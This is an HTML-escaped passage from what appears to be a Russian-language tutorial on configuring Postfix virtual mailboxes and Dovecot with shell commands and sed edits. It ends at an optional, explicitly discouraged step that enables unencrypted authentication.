&lt;span style=&quot;color: #e60000;&quot;&gt;example1.com&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;example2.com&lt;/span&gt;
&lt;span style=&quot;color: #e34adc;&quot;&gt;EOF&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
И создадим карту маппинга дабы направлять потоки почты в нужные директории а так же одаривать пользователей новыми именами. Синтаксис не сложный, как видно из текста ниже за адресом почты следует относительный путь, и соотносится он с директорией&amp;nbsp;/home/vmail .&amp;nbsp;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;touch &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/postfix/vmaps&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
А так можно описать алиасы&lt;/div&gt;
&lt;div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;cat &lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/postfix/vmaps&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #e34adc;&quot;&gt;EOF&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;info@example1.com  example1.com/info/&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;hr@example1.com  example1.com/info/&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;support@example1.com  example1.com/support/&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;info@example2.com  example2.com/info/&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;sales@example2.com  example2.com/sales/&lt;/span&gt;
&lt;span style=&quot;color: #e34adc;&quot;&gt;EOF&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
После того как опишите файл скомпилируйте его&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;postmap &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/postfix/vmaps&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Ну и перезапустим postfix&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/etc/init.d/postfix&lt;/span&gt; restart&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Настало время первой отправки, скрещиваем все что скрещивается, пробуем&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;test&lt;/span&gt;-body &lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt; mail &lt;span style=&quot;color: #44aadd;&quot;&gt;-s&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&quot;test-subject&quot;&lt;/span&gt; info@example1&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;com&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
У нас должен появиться файл в директории&amp;nbsp;&lt;b&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/home/vmail/example1.com/info/new&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
А директория должна создаться сама, если этого не&amp;nbsp;произошло смотрим&amp;nbsp;/var/log/maillog и ищем где оступились&amp;nbsp;&lt;/div&gt;
Проверим результат&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;b&gt;ls -la &lt;span style=&quot;color: #40015a;&quot;&gt;/home/vmail/example1.com/info/new&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;*&lt;/span&gt;
&lt;/b&gt;-rw-------&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;1&lt;/span&gt; vmail vmail &lt;span style=&quot;color: #c00000;&quot;&gt;526&lt;/span&gt; Apr &lt;span style=&quot;color: #c00000;&quot;&gt;28&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;01&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;39&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;/home/vmail/example1.com/info/new/1367087988.Vfd00I1fb6dM872595.test-mail&lt;/span&gt;
&lt;b&gt;cat &lt;span style=&quot;color: #40015a;&quot;&gt;/home/vmail/example1.com/info/new/1367087988.Vfd00I1fb6dM872595.test-mail&lt;/span&gt; 
&lt;/b&gt;Return-Path&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;lt;&lt;/span&gt;root@mail&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;example&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;com&lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt;
X-Original-To&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; info@example1&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;com
Delivered-To&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; info@example1&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;com
Received&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; by mail&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;example&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;com &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;Postfix, from userid &lt;span style=&quot;color: #c00000;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;
 id D288977F&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt; Sun, &lt;span style=&quot;color: #c00000;&quot;&gt;28&lt;/span&gt; Apr &lt;span style=&quot;color: #c00000;&quot;&gt;2013&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;01&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;39&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;48&lt;/span&gt; +&lt;span style=&quot;color: #c00000;&quot;&gt;0700&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;OMST&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;
Date&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; Sun, &lt;span style=&quot;color: #c00000;&quot;&gt;28&lt;/span&gt; Apr &lt;span style=&quot;color: #c00000;&quot;&gt;2013&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;01&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;39&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;48&lt;/span&gt; +&lt;span style=&quot;color: #c00000;&quot;&gt;0700&lt;/span&gt;
To&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; info@example1&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;com
Subject&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;test&lt;/span&gt;-subject
User-Agent&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; Heirloom mailx &lt;span style=&quot;color: #c00000;&quot;&gt;12&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;4&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;7&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/29/08&lt;/span&gt;
MIME-Version&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;0&lt;/span&gt;
Content-Type&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;text/plain&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt; charset&lt;span style=&quot;color: #806030;&quot;&gt;=&lt;/span&gt;us-ascii
Content-Transfer-Encoding&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; 7bit
Message-Id&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;20130427183948&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;D288977F@mail&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;example&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;com&lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt;
From&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; root@mail&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;example&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;com &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;root&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;test&lt;/span&gt;-body&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
Если всё &lt;b&gt;ok&lt;/b&gt;&amp;nbsp;то идём дальше&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Конфигурация Dovecot&lt;/h3&gt;
&lt;/div&gt;
&lt;div&gt;
С синтаксисом конфигов на мой взгляд dovecot&#39;y повезло меньше, по этому в этой секции будет несколько &lt;i&gt;&quot;пойди туда, щас скажу куда, сделай то щас скажу что&quot;&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
Как всегда первым делом бэкапим конфиги. По скольку тут конфигурация раскидана по нескольким файлам, я буду копировать всю директорию.&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;cp &lt;span style=&quot;color: #44aadd;&quot;&gt;-a&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/dovecot&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;{&lt;/span&gt;,&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;bak&lt;span style=&quot;color: #806030;&quot;&gt;}&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
Настраиваем многочисленные опции в многочисленных файлах&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;span style=&quot;color: #c34e00;&quot;&gt;# Рассказываем Dovecot&#39;y откуда почта берётся. Кстати &lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;%d&lt;/span&gt;&lt;span style=&quot;color: #c34e00;&quot;&gt; = домен , &lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;%n&lt;/span&gt;&lt;span style=&quot;color: #c34e00;&quot;&gt; = user@домен&lt;/span&gt;
&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;sed&lt;/span&gt; -i &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;#mail_location&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;mail_location = maildir:&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;home&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;vmail&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;%d&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;%n&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\&lt;/span&gt;
 &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/dovecot/conf.d/10-mail.conf&lt;/span&gt;

&lt;span style=&quot;color: #c34e00;&quot;&gt;# настраиваем &lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;chroot_dirs&lt;/span&gt;
&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;sed&lt;/span&gt; -i &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;#valid_chroot_dirs&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;valid_chroot_dirs = &lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;spool&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;vmail&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\&lt;/span&gt;
 &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/dovecot/conf.d/10-mail.conf&lt;/span&gt;

&lt;span style=&quot;color: #c34e00;&quot;&gt;# &lt;/span&gt;&lt;span style=&quot;color: #c34e00;&quot;&gt;Включим поддержку протоколов которые будем использовать при Аутентификации&lt;/span&gt;
&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;sed&lt;/span&gt; -i &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;auth_mechanisms&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;auth_mechanisms = plain login &lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;cram-md5&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\
 &lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/etc/dovecot/conf.d/10-auth.conf&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;color: #c34e00;&quot;&gt;# настраиваем &lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;base_dir&lt;/span&gt;
&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;sed&lt;/span&gt; -i &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;#base_dir&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;base_dir = &lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;run&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;dovecot&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\/&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\&lt;/span&gt;
 &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/dovecot/dovecot.conf&lt;/span&gt;

&lt;span style=&quot;color: #c34e00;&quot;&gt;# настраиваем протоколы которые собираемся использовать&lt;/span&gt;
&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;sed&lt;/span&gt; -i &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;#protocols&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;protocols = imap pop3&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\&lt;/span&gt;
 &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/dovecot/dovecot.conf&lt;/span&gt;

&lt;span style=&quot;color: #c34e00;&quot;&gt;# настраиваем логирование&lt;/span&gt;
&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;sed&lt;/span&gt; -i &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;#auth_verbose =&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;auth_verbose = yes&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\&lt;/span&gt;
 &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/dovecot/conf.d/10-logging.conf&lt;/span&gt;
&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;sed&lt;/span&gt; -i &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;#info_log_path&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;info_log_path = &lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;dovecot.info&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\&lt;/span&gt;
 &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/dovecot/conf.d/10-logging.conf&lt;/span&gt;
&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;sed&lt;/span&gt; -i &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;#log_path&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;log_path = &lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;dovecot&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\&lt;/span&gt;
 &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/dovecot/conf.d/10-logging.conf&lt;/span&gt;
&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;sed&lt;/span&gt; -i &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;#log_timestamp&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;log_timestamp = &quot;%b %d %H:%M:%S &quot;&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\&lt;/span&gt;
 &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/dovecot/conf.d/10-logging.conf &lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
В случае если вы не планируете использовать шифрование &lt;b&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;&lt;u&gt;(НЕ РЕКОМЕНДУЕТСЯ)&lt;/u&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;span style=&quot;color: #c34e00;&quot;&gt;# Включаем поддержку не шифрованной Аутентификации&lt;/span&gt;
&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;sed&lt;/span&gt; -i &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;#disable_plaintext_auth&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;disable_plaintext_auth = no&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\&lt;/span&gt;
 &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/dovecot/conf.d/10-auth.conf&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;# отрубаем SSL&lt;/span&gt;
